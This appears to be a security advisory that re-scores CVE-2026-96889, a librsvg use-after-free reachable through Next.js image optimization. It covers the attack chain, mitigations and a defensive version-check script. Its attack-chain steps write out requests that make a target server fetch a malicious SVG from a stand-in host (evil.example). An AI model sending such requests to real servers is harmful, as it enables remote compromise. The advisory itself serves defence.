The vendor graded the bullet but forgot to check it was already loaded in a rifle aimed at 2 million web servers
CVE-2026-96889 is a use-after-free in librsvg, the GNOME SVG rendering library. When an SVG document contains nested XInclude directives with duplicate entity declarations, librsvg replaces and frees the first entity via entity_insert() while libxml2's xmlCtxtParseEntity() is still holding a pointer to it. The dangling pointer lets subsequent writes corrupt heap memory, leading to denial of service or arbitrary code execution. The flaw exists in all librsvg versions before 2.63.2 (with backports to 2.62.4, 2.61.5, 2.60.3, 2.57.5, and 2.56.6). It is present in RHEL 6–10 and every Linux distribution shipping the affected package. Downstream, the sharp npm image library (< 0.35.5) bundles librsvg and is used by Next.js (10.0.0–15.5.27, 16.0.0–16.4.0) for its default-on Image Optimization API at /_next/image.
Red Hat scored this 7.8 HIGH with AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — an honest assessment if your threat model stops at 'user opens a crafted SVG on a Linux desktop.' It does not. Vercel's own advisory (GHSA-2464-fhr4-w9xw) rates the Next.js impact at CVSS v4 9.5 CRITICAL because the Image Optimization endpoint accepts arbitrary image URLs without authentication. An attacker hosts a weaponized SVG, sends /_next/image?url=https://evil.example/pwn.svg&w=128&q=75, and the server-side sharp pipeline feeds it straight to librsvg on glibc-based Linux. No user interaction, no credentials, no click. Censys data shows 2.15 million Next.js services reachable on the public internet. The vendor's 7.8 is not wrong — it is dangerously incomplete.
5 steps from start to impact.
Identify target Next.js deployment
/_next/image endpoint, which is enabled by default on all Next.js installations since version 10. Mass discovery is trivial via Shodan/Censys/FOFA; the x-powered-by: Next.js header and predictable static paths (/_next/static/) fingerprint the framework instantly. Over 2.15 million deployments are internet-facing.- Target runs Next.js ≥10.0.0 with default Image Optimization enabled
- Target is reachable over the network
- Image Optimization can be disabled via
images.unoptimized: trueinnext.config.js, but this is rare in production because it degrades Core Web Vitals - Some deployments front the endpoint with a CDN that caches and never passes SVG through to origin
http.component:next.js; Censys query services.http.response.headers.x_powered_by: Next.js; WAF logs for /_next/image with url= parameter pointing to external domainsHost malicious SVG with nested XInclude
- Attacker can host a file on a URL reachable by the target server
- Attacker understands the XInclude/entity collision pattern (public PoC available)
- Next.js
images.remotePatternscan restrict allowed image source domains, but many apps use a permissive wildcard or allow arbitrary URLs for user-generated content
/_next/image?url= for off-domain or .svg URLs; egress monitoring for the Next.js process fetching external SVGsTrigger server-side SVG processing
GET /_next/image?url=https://evil.example/exploit.svg&w=128&q=75 to the target. No authentication is required. Next.js fetches the SVG, passes it to sharp, which invokes libvips → librsvg for SVG rasterization. The malicious XInclude triggers the use-after-free during parsing.- No authentication — endpoint is public by design
- Target runs on glibc-based Linux (Debian, Ubuntu, RHEL, Fedora, Amazon Linux — the vast majority of production deployments)
- Alpine Linux / musl-based containers are NOT vulnerable because the heap layout differs and the freed chunk is not reallocated predictably
- Some Vercel-hosted deployments use a sandboxed image pipeline that may limit exploitation
/_next/image requests with external SVG URLs; SIEM alerts on unusual libxml2/librsvg crash signals (SIGSEGV/SIGABRT in Node.js worker)Corrupt heap to gain code execution
xmlEntity struct. If the glibc allocator recycles that chunk for attacker-influenced data (e.g., another entity value or SVG attribute string), subsequent writes through the stale pointer overwrite controlled memory. The VectorFreed writeup demonstrates steering execution to attacker-supplied content. There is no universal fire-and-forget PoC — payloads must be tuned to the target's build (glibc version, ASLR, compiler flags) — but the primitives are well-understood.- Target uses glibc (not musl)
- Heap layout must cooperate — attacker may need multiple requests to groom the heap
- ASLR and stack canaries raise the bar; exploitation is probabilistic rather than deterministic on hardened builds
- Some distributions compile librsvg with AddressSanitizer or CFI in debug/test builds, though production rarely does
librsvg or libxml2 stack framesExecute arbitrary commands as the Node.js process
- Heap corruption succeeded in step 4
- Principle of least privilege / read-only filesystems limit persistence
- Network policies or VPC security groups may constrain lateral movement
npm audit fix or pin [email protected] in package.json. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL.images: { dangerouslyAllowSVG: false } in next.config.js (this is the default in Next.js ≥13 but may be overridden). If SVG support is not needed, this eliminates the attack vector entirely without upgrading sharp. For older Next.js versions where SVG is implicitly allowed, add a remotePatterns configuration that rejects .svg URLs. Deploy within 3 days.url query parameter on /_next/image and blocks requests where the URL ends in .svg or has Content-Type: image/svg+xml. This is a defense-in-depth measure — it can be bypassed if the attacker controls a URL that serves SVG with a non-.svg extension, but it raises the bar. Deploy within 3 days.node:20 to node:20-alpine eliminates the RCE path (DoS may still be possible). This is a longer-term architectural change — target within 30 days if sharp upgrade is not immediately feasible.- Content Security Policy (CSP) headers — CSP is a client-side browser control. This vulnerability is server-side; the malicious SVG is processed by the Node.js backend, not rendered in a browser. CSP has zero effect.
- Rate limiting on /_next/image — a single request is sufficient to trigger the use-after-free. Rate limiting slows brute-force heap grooming but does not prevent exploitation.
- Network segmentation alone — the
/_next/imageendpoint is intentionally public-facing. Segmenting the Next.js server from internal resources helps limit post-exploitation lateral movement but does not prevent the initial compromise. - Disabling XInclude in libxml2 globally — librsvg uses its own XML parsing configuration. There is no user-facing knob to disable XInclude processing without patching the library itself.
The supporting signals.
| In-the-Wild Status | No confirmed active exploitation as of 2026-10-17. Not listed in CISA KEV. However, the Next.js attack surface is enormous (2.15M+ exposed) and PoCs are public — the window between disclosure and mass scanning is historically short for Next.js vulns (cf. React2Shell was weaponized within 24 hours). |
|---|---|
| Proof-of-Concept | Two public PoCs: (1) rafabd1/VectorFreed — documents the full RCE chain from SVG to code execution in Next.js/sharp/libvips, by Rafael B. Dias; (2) lion9453 PoC indexed on Sploitus. Neither is a universal one-click RCE — heap grooming must be tuned per target — but the primitives and methodology are fully public. |
| EPSS | 0.00151 (approximately 15th percentile). This is low but likely stale — the Next.js advisory and PoCs dropped Oct 6–14, and EPSS models update with a lag. Expect this to climb significantly once scanner traffic is observed. |
| CVSS Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) — Red Hat's librsvg-only assessment. Vercel rates the Next.js context at CVSSv4 9.5 (AV:N/AC:L/AT:P/PR:N/UI:N). The sharp GHSA (GHSA-wq5f-xc86-pv6w) rates it 9.3 CRITICAL. The delta is entirely explained by the change from local+user-interaction to network+no-auth. |
| Affected Versions | librsvg < 2.63.2 (all branches). sharp < 0.35.5. Next.js 10.0.0–15.5.27 and 16.0.0–16.4.0. Ghost CMS 6.56.0–6.67.0. Any application using sharp or libvips with SVG input on glibc Linux. |
| Fixed Versions | librsvg 2.63.2 (backports: 2.62.4, 2.61.5, 2.60.3, 2.57.5, 2.56.6). sharp 0.35.5. Next.js 15.5.28, 16.4.1 (released Oct 14, 2026). Ghost 6.67.0. Distro patches: RHEL under investigation; Debian/Ubuntu tracking in progress. |
| Exposure Data | Censys/Shodan report 2.15 million internet-facing Next.js deployments. Not all run self-hosted image optimization (Vercel-hosted apps use a managed pipeline), but a significant fraction of self-hosted enterprise deployments do. No GreyNoise tags observed yet for CVE-2026-96889 scanning as of Oct 17. |
| Disclosure Timeline | librsvg fix committed 2026-09-22. CVE published 2026-09-23. sharp 0.35.5 released 2026-09-27. sharp GHSA published 2026-10-06. Next.js out-of-band patch 2026-10-14. VectorFreed PoC published between Oct 6–14. |
| Reporting Researcher | Rafael B. Dias (@rafabd1) — discovered the UAF and developed the VectorFreed exploitation chain. Tracked as RUSTSEC-2026-0305 and GNOME librsvg issue #1241. |
| Related Advisories | GHSA-2464-fhr4-w9xw (Next.js), GHSA-wq5f-xc86-pv6w (sharp), RUSTSEC-2026-0305, Red Hat Bugzilla #2539279 |
Sources.
Why this verdict
- Vendor score is context-blind. Red Hat scored the librsvg flaw at 7.8 with
AV:LandUI:R. That is correct for a desktop Linux user opening a booby-trapped SVG. It completely ignores the dominant real-world exposure: server-side SVG processing via Next.js Image Optimization, which isAV:N,PR:N,UI:N. - Attack surface is massive and default-on. Next.js Image Optimization is enabled by default in every version since 10.0.0. Censys shows 2.15 million internet-facing Next.js services. Self-hosted deployments routinely accept arbitrary image URLs. The
/_next/imageendpoint requires zero authentication. - Public PoC lowers the bar. VectorFreed (rafabd1) and the lion9453 PoC provide the full methodology for steering the use-after-free to code execution. While heap grooming is target-specific, the primitives are documented and the attack is reproducible. This moves exploitation from 'theoretical' to 'engineering effort.'
- glibc requirement is not meaningful friction. The vulnerability requires glibc-based Linux. Alpine/musl deployments are not vulnerable. However, the overwhelming majority of production Node.js containers use Debian/Ubuntu-based images (node:18, node:20, node:22 official images are all Debian). This eliminates perhaps 10–15% of deployments, not 90%.
- Role multiplier: Next.js production servers are high-value network-edge assets. The affected component (Next.js Image Optimization) is by definition internet-facing. Successful exploitation yields the Node.js process context, which typically holds database credentials, API keys, cloud IAM tokens, and session secrets in environment variables. On cloud deployments, IMDS/workload identity provides lateral movement into cloud infrastructure. Blast radius: server → tenant → cloud account → potentially fleet-scale. Next.js is canonically a network-edge component — ≥10% of the installed base of librsvg-consuming applications sits in this high-value role via the sharp dependency chain. Verdict floor: CRITICAL.
- Role multiplier: CI/CD and build pipelines. sharp is also used in static site generation build steps, image processing microservices, and CI/CD pipelines. A compromised build pipeline is supply-chain-scale impact. This reinforces the CRITICAL floor.
- Held back from 9.8 due to exploitation complexity. There is no universal one-click RCE. Heap grooming must be tuned per glibc version and build configuration. ASLR adds probabilistic failure. This keeps the score at 9.3 rather than 9.8.
Why not higher?
A score above 9.3 would require a deterministic, universal exploit that works across all glibc versions without heap grooming. The current PoCs demonstrate the full chain but require target-specific tuning — heap layout varies by glibc version, compiler flags, and workload. ASLR remains a meaningful (if not decisive) barrier. Additionally, Vercel-hosted Next.js deployments may use a sandboxed image pipeline that limits exploitation, reducing the effective population somewhat.
Why not lower?
A score below 9.3 would undercount the attack surface. The endpoint is unauthenticated, network-facing, and default-on across 2.15 million exposed services. Two public PoCs exist. The vendor's 7.8 treats this as a local desktop bug requiring user interaction — that framing is simply wrong for the dominant deployment context. The glibc requirement does not materially reduce the exposed population (most production containers are Debian/Ubuntu-based). Any downgrade below CRITICAL ignores the deployment-role floor: Next.js servers are canonically internet-facing, high-value assets.
Crowdsourced verification payload.
Run this script on each target host (Linux servers running Node.js applications or the librsvg system package). Execute as any user with read access to the Node.js project directories. Example: bash check_cve_2026_96889.sh /opt/myapp where the argument is the root of your Next.js/Node.js project. Omit the argument to check only the system librsvg package.
#!/usr/bin/env bash
# check_cve_2026_96889.sh — Detect CVE-2026-96889 (librsvg UAF)
# Usage: bash check_cve_2026_96889.sh [/path/to/nodejs/project]
# Exit codes: 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'
VULNERABLE=0
CHECKED=0
version_lt() {
# Returns 0 if $1 < $2 (semver-ish)
[ "$(printf '%s\n' "$1" "$2" | sort -V | head -n1)" = "$1" ] && [ "$1" != "$2" ]
}
# --- Check system librsvg ---
echo "[*] Checking system librsvg..."
RSVG_VER=""
if command -v rsvg-convert &>/dev/null; then
RSVG_VER=$(rsvg-convert --version 2>/dev/null | grep -oP '\d+\.\d+\.\d+' | head -1 || true)
elif command -v dpkg &>/dev/null; then
RSVG_VER=$(dpkg -l 'librsvg2*' 2>/dev/null | awk '/^ii/{print $3}' | grep -oP '\d+\.\d+\.\d+' | head -1 || true)
elif command -v rpm &>/dev/null; then
RSVG_VER=$(rpm -q librsvg2 2>/dev/null | grep -oP '\d+\.\d+\.\d+' | head -1 || true)
fi
if [ -n "$RSVG_VER" ]; then
CHECKED=1
if version_lt "$RSVG_VER" "2.63.2"; then
echo -e "${RED}[!] VULNERABLE: system librsvg $RSVG_VER < 2.63.2${NC}"
VULNERABLE=1
else
echo -e "${GREEN}[+] PATCHED: system librsvg $RSVG_VER >= 2.63.2${NC}"
fi
else
echo "[*] No system librsvg detected (or not installed)."
fi
# --- Check Node.js sharp dependency ---
PROJECT_DIR="${1:-}"
if [ -n "$PROJECT_DIR" ] && [ -d "$PROJECT_DIR" ]; then
echo "[*] Checking sharp in $PROJECT_DIR..."
SHARP_PKG="$PROJECT_DIR/node_modules/sharp/package.json"
if [ -f "$SHARP_PKG" ]; then
CHECKED=1
SHARP_VER=$(grep -oP '"version"\s*:\s*"\K[^"]+' "$SHARP_PKG" 2>/dev/null || true)
if [ -n "$SHARP_VER" ]; then
if version_lt "$SHARP_VER" "0.35.5"; then
echo -e "${RED}[!] VULNERABLE: sharp $SHARP_VER < 0.35.5${NC}"
VULNERABLE=1
# Also check if Next.js is present
NEXT_PKG="$PROJECT_DIR/node_modules/next/package.json"
if [ -f "$NEXT_PKG" ]; then
NEXT_VER=$(grep -oP '"version"\s*:\s*"\K[^"]+' "$NEXT_PKG" 2>/dev/null || true)
echo -e "${RED} Next.js $NEXT_VER detected — /_next/image is an unauth RCE vector${NC}"
fi
else
echo -e "${GREEN}[+] PATCHED: sharp $SHARP_VER >= 0.35.5${NC}"
fi
fi
else
echo "[*] sharp not found in $PROJECT_DIR/node_modules/"
fi
# Check libc type (glibc vs musl)
echo "[*] Checking libc type..."
if ldd --version 2>&1 | grep -qi musl; then
echo -e "${GREEN}[+] musl libc detected — RCE exploitation is not feasible (DoS only)${NC}"
elif ldd --version 2>&1 | grep -qi glibc; then
GLIBC_VER=$(ldd --version 2>&1 | head -1 | grep -oP '\d+\.\d+' | tail -1 || true)
echo -e "${YELLOW}[!] glibc $GLIBC_VER detected — RCE exploitation IS feasible${NC}"
fi
else
[ -n "$PROJECT_DIR" ] && echo "[*] Directory $PROJECT_DIR not found."
fi
# --- Verdict ---
echo ""
if [ "$CHECKED" -eq 0 ]; then
echo -e "${YELLOW}UNKNOWN — neither librsvg nor sharp detected on this host${NC}"
exit 2
elif [ "$VULNERABLE" -eq 1 ]; then
echo -e "${RED}VULNERABLE — CVE-2026-96889 affects this host${NC}"
exit 1
else
echo -e "${GREEN}PATCHED — no vulnerable librsvg/sharp versions found${NC}"
exit 0
fi